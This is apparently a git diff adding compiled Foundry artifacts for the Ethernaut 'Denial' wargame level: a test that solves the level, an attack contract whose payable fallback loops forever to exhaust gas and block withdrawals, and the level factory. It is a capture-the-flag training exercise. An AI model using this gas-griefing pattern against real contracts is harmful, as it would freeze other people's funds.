Denial"}},"id":59686,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1885:18:124","memberName":"setWithdrawPartner","nodeType":"MemberAccess","referencedDeclaration":50401,"src":"1876:27:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59691,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:50:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59692,"nodeType":"ExpressionStatement","src":"1876:50:124"},{"expression":{"arguments":[{"arguments":[{"id":59695,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59536,"src":"1968:9:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59698,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59539,"src":"1987:8:124","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":59697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1979:7:124","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59696,"name":"address","nodeType":"ElementaryTypeName","src":"1979:7:124","typeDescriptions":{}}},"id":59699,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1979:17:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59694,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1948:19:124","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59700,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1948:49:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59693,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1937:10:124","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59701,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1937:61:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59702,"nodeType":"ExpressionStatement","src":"1937:61:124"}]},"documentation":{"id":59667,"nodeType":"StructuredDocumentation","src":"1701:44:124","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1759:9:124","parameters":{"id":59668,"nodeType":"ParameterList","parameters":[],"src":"1768:2:124"},"returnParameters":{"id":59669,"nodeType":"ParameterList","parameters":[],"src":"1778:0:124"},"scope":59705,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":59530,"name":"Test","nameLocations":["414:4:124"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"414:4:124"},"id":59531,"nodeType":"InheritanceSpecifier","src":"414:4:124"},{"baseName":{"id":59532,"name":"Utils","nameLocations":["420:5:124"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"420:5:124"},"id":59533,"nodeType":"InheritanceSpecifier","src":"420:5:124"}],"canonicalName":"TestDenial","contractDependencies":[49101,49174,50570,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[59705,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestDenial","nameLocation":"400:10:124","scope":59706,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":124} \ No newline at end of file diff --git a/contracts/out/DenialAttack.sol/DenialAttack.json b/contracts/out/DenialAttack.sol/DenialAttack.json new file mode 100644 index 000000000..339a3a7db --- /dev/null +++ b/contracts/out/DenialAttack.sol/DenialAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"fallback","stateMutability":"payable"}],"bytecode":{"object":"0x6080604052348015600e575f80fd5b50603f80601a5f395ff3fe60806040525b600556fea264697066735822122073913c257ae5949b5f4726f5fdb2dd0c7d7aaf116808d29144869901dff1bfd264736f6c63430008180033","sourceMap":"58:120:40:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040525b600556fea264697066735822122073913c257ae5949b5f4726f5fdb2dd0c7d7aaf116808d29144869901dff1bfd264736f6c63430008180033","sourceMap":"58:120:40:-:0;;;155:15;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"stateMutability\":\"payable\",\"type\":\"fallback\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/DenialAttack.sol\":\"DenialAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/DenialAttack.sol\":{\"keccak256\":\"0x13aeda8a95e2ca794fd8c3d8f0f575f01828fc05d43204e5bdf3615b4125072a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b2d8ecf2d298313822fa8bc875b6970444b2ebdc6c265c20dc736f8df10c959a\",\"dweb:/ipfs/QmdRcAYebAD8XSYcd3uq1dCTZYF2pM4JVXF73iz2c1y4kV\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"payable","type":"fallback"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/DenialAttack.sol":"DenialAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/DenialAttack.sol":{"keccak256":"0x13aeda8a95e2ca794fd8c3d8f0f575f01828fc05d43204e5bdf3615b4125072a","urls":["bzz-raw://b2d8ecf2d298313822fa8bc875b6970444b2ebdc6c265c20dc736f8df10c959a","dweb:/ipfs/QmdRcAYebAD8XSYcd3uq1dCTZYF2pM4JVXF73iz2c1y4kV"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/DenialAttack.sol","id":49175,"exportedSymbols":{"DenialAttack":[49174]},"nodeType":"SourceUnit","src":"33:146:40","nodes":[{"id":49166,"nodeType":"PragmaDirective","src":"33:23:40","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49174,"nodeType":"ContractDefinition","src":"58:120:40","nodes":[{"id":49173,"nodeType":"FunctionDefinition","src":"86:90:40","nodes":[],"body":{"id":49172,"nodeType":"Block","src":"114:62:40","nodes":[],"statements":[{"body":{"id":49170,"nodeType":"Block","src":"168:2:40","statements":[]},"condition":{"hexValue":"74727565","id":49169,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"162:4:40","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"id":49171,"nodeType":"WhileStatement","src":"155:15:40"}]},"implemented":true,"kind":"fallback","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49167,"nodeType":"ParameterList","parameters":[],"src":"94:2:40"},"returnParameters":{"id":49168,"nodeType":"ParameterList","parameters":[],"src":"114:0:40"},"scope":49174,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DenialAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49174],"name":"DenialAttack","nameLocation":"67:12:40","scope":49175,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":40} \ No newline at end of file diff --git a/contracts/out/DenialFactory.sol/DenialFactory.json b/contracts/out/DenialFactory.sol/DenialFactory.json new file mode 100644 index 000000000..47fcd10b7 --- /dev/null +++ b/contracts/out/DenialFactory.sol/DenialFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"receive","stateMutability":"payable"},{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"initialDeposit","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405266038d7ea4c6800060015534801561001a575f80fd5b5061002433610029565b610078565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ba806100855f395ff3fe608060405260043610610066575f3560e01c8063d38def5b11610041578063d38def5b146100d3578063e037f88914610102578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610444565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100f26100ed366004610466565b6101f1565b60405190151581526020016100ae565b34801561010d575f80fd5b5061011760015481565b6040519081526020016100ae565b348015610130575f80fd5b5061008561013f366004610444565b6102ce565b61014c610363565b6101555f6103bc565b565b5f600154341015610166575f80fd5b5f60405161017390610423565b604051809103905ff08015801561018c573d5f803e3d5ffd5b5090505f816001600160a01b0316346040515f6040518083038185875af1925050503d805f81146101d8576040519150601f19603f3d011682016040523d82523d5f602084013e6101dd565b606091505b50509050806101ea575f80fd5b5092915050565b5f8260646001600160a01b038216311161020e575f9150506102c8565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f3ccfd60b0000000000000000000000000000000000000000000000000000000017905290515f916001600160a01b03841691620f4240916102819161049d565b5f604051808303815f8787f1925050503d805f81146102bb576040519150601f19603f3d011682016040523d82523d5f602084013e6102c0565b606091505b505015925050505b92915050565b6102d6610363565b6001600160a01b0381166103575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610360816103bc565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161034e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102bb806104ca83390190565b6001600160a01b0381168114610360575f80fd5b5f60208284031215610454575f80fd5b813561045f81610430565b9392505050565b5f8060408385031215610477575f80fd5b823561048281610430565b9150602083013561049281610430565b809150509250929050565b5f82515f5b818110156104bc57602081860181015185830152016104a2565b505f92019182525091905056fe608060405234801561000f575f80fd5b5061029e8061001d5f395ff3fe60806040526004361061005b575f3560e01c80638b7afe2e116100415780638b7afe2e146100cf5780638da5cb5b146100ee578063be10862b1461011b575f80fd5b80633ccfd60b146100665780634e1c59141461007c575f80fd5b3661006257005b5f80fd5b348015610071575f80fd5b5061007a610139565b005b348015610087575f80fd5b5061007a6100963660046101f7565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3480156100da575f80fd5b506040514781526020015b60405180910390f35b3480156100f9575f80fd5b50610103610a9e81565b6040516001600160a01b0390911681526020016100e5565b348015610126575f80fd5b505f54610103906001600160a01b031681565b5f610145606447610224565b5f80546040519293506001600160a01b031691839181818185875af1925050503d805f811461018f576040519150601f19603f3d011682016040523d82523d5f602084013e610194565b606091505b5050604051610a9e915082156108fc029083905f818181858888f193505050501580156101c3573d5f803e3d5ffd5b50426001555f80546001600160a01b0316815260026020526040812080548392906101ef908490610243565b909155505050565b5f60208284031215610207575f80fd5b81356001600160a01b038116811461021d575f80fd5b9392505050565b5f8261023e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026257634e487b7160e01b5f52601160045260245ffd5b9291505056fea2646970667358221220c80c7ab570f56c0784848d0d1c4246a1fd5eeb7e69a2406c78e5db7a044081cd64736f6c63430008180033a26469706673582212204a5b4fdd8a45f99b48d06deb32f87074d8277fabfe48004be3846df539792ff164736f6c63430008180033","sourceMap":"109:930:66:-:0;;;179:11;147:43;;109:930;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;109:930:66;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;109:930:66:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610066575f3560e01c8063d38def5b11610041578063d38def5b146100d3578063e037f88914610102578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610444565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100f26100ed366004610466565b6101f1565b60405190151581526020016100ae565b34801561010d575f80fd5b5061011760015481565b6040519081526020016100ae565b348015610130575f80fd5b5061008561013f366004610444565b6102ce565b61014c610363565b6101555f6103bc565b565b5f600154341015610166575f80fd5b5f60405161017390610423565b604051809103905ff08015801561018c573d5f803e3d5ffd5b5090505f816001600160a01b0316346040515f6040518083038185875af1925050503d805f81146101d8576040519150601f19603f3d011682016040523d82523d5f602084013e6101dd565b606091505b50509050806101ea575f80fd5b5092915050565b5f8260646001600160a01b038216311161020e575f9150506102c8565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f3ccfd60b0000000000000000000000000000000000000000000000000000000017905290515f916001600160a01b03841691620f4240916102819161049d565b5f604051808303815f8787f1925050503d805f81146102bb576040519150601f19603f3d011682016040523d82523d5f602084013e6102c0565b606091505b505015925050505b92915050565b6102d6610363565b6001600160a01b0381166103575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610360816103bc565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161034e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102bb806104ca83390190565b6001600160a01b0381168114610360575f80fd5b5f60208284031215610454575f80fd5b813561045f81610430565b9392505050565b5f8060408385031215610477575f80fd5b823561048281610430565b9150602083013561049281610430565b809150509250929050565b5f82515f5b818110156104bc57602081860181015185830152016104a2565b505f92019182525091905056fe608060405234801561000f575f80fd5b5061029e8061001d5f395ff3fe60806040526004361061005b575f3560e01c80638b7afe2e116100415780638b7afe2e146100cf5780638da5cb5b146100ee578063be10862b1461011b575f80fd5b80633ccfd60b146100665780634e1c59141461007c575f80fd5b3661006257005b5f80fd5b348015610071575f80fd5b5061007a610139565b005b348015610087575f80fd5b5061007a6100963660046101f7565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3480156100da575f80fd5b506040514781526020015b60405180910390f35b3480156100f9575f80fd5b50610103610a9e81565b6040516001600160a01b0390911681526020016100e5565b348015610126575f80fd5b505f54610103906001600160a01b031681565b5f610145606447610224565b5f80546040519293506001600160a01b031691839181818185875af1925050503d805f811461018f576040519150601f19603f3d011682016040523d82523d5f602084013e610194565b606091505b5050604051610a9e915082156108fc029083905f818181858888f193505050501580156101c3573d5f803e3d5ffd5b50426001555f80546001600160a01b0316815260026020526040812080548392906101ef908490610243565b909155505050565b5f60208284031215610207575f80fd5b81356001600160a01b038116811461021d575f80fd5b9392505050565b5f8261023e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026257634e487b7160e01b5f52601160045260245ffd5b9291505056fea2646970667358221220c80c7ab570f56c0784848d0d1c4246a1fd5eeb7e69a2406c78e5db7a044081cd64736f6c63430008180033a26469706673582212204a5b4fdd8a45f99b48d06deb32f87074d8277fabfe48004be3846df539792ff164736f6c63430008180033","sourceMap":"109:930:66:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;197:323:66;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;197:323:66;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;526:476:66;;;;;;;;;;-1:-1:-1;526:476:66;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;526:476:66;1057:187:155;147:43:66;;;;;;;;;;;;;;;;;;;1395:25:155;;;1383:2;1368:18;147:43:66;1249:177:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;197:323:66:-;271:7;328:14;;315:9;:27;;307:36;;;;;;353:15;371:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;353:30;;394:11;418:8;-1:-1:-1;;;;;410:22:66;440:9;410:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;393:61;;;472:6;464:15;;;;;;-1:-1:-1;504:8:66;197:323;-1:-1:-1;;197:323:66:o;526:476::-;621:4;679:9;732:7;-1:-1:-1;;;;;703:25:66;;;:36;699:113;;796:5;789:12;;;;;699:113;918:37;;;;;;;;;;;;;;;;;;;;;;881:75;;865:11;;-1:-1:-1;;;;;881:22:66;;;909:7;;881:75;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;988:7:66;;-1:-1:-1;;;526:476:66;;;;;:::o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;2260:2:155;2161:73:23::1;::::0;::::1;2242:21:155::0;2299:2;2279:18;;;2272:30;2338:34;2318:18;;;2311:62;2409:8;2389:18;;;2382:36;2435:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2667:2:155;1414:68:23;;;2649:21:155;;;2686:18;;;2679:30;2745:34;2725:18;;;2718:62;2797:18;;1414:68:23;2465:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1641:412::-;1770:3;1808:6;1802:13;1833:1;1843:129;1857:6;1854:1;1851:13;1843:129;;;1955:4;1939:14;;;1935:25;;1929:32;1916:11;;;1909:53;1872:12;1843:129;;;-1:-1:-1;2027:1:155;1991:16;;2016:13;;;-1:-1:-1;1991:16:155;1641:412;-1:-1:-1;1641:412:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","initialDeposit()":"e037f889","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"initialDeposit\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DenialFactory.sol\":\"DenialFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Denial.sol\":{\"keccak256\":\"0x53e7e264718d21a89f046473e5bb5c1330ab11c7a52f16d58dba10206b4d49c0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://79df26e13c2bdfcd90047dde5296762dbeff36177354ffee2ef6506db1bf27fd\",\"dweb:/ipfs/Qmb3dqmtRnxUjccbSa7EUuRg5MH9vdN9Hu8HTYRWhthtyM\"]},\"src/levels/DenialFactory.sol\":{\"keccak256\":\"0x5936a1053638582713a7aa983e372a4450dba9e6f406fe32915c6f71a0e93bb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://421f4c9b25ffba1d5b4b248f3e9bc311ab4ad60f39be76e11b1f26399bbd70c1\",\"dweb:/ipfs/QmctsRGST8ECUh8aXeQb9hig3xdEd67mX4jktCKyCALErn\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"initialDeposit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},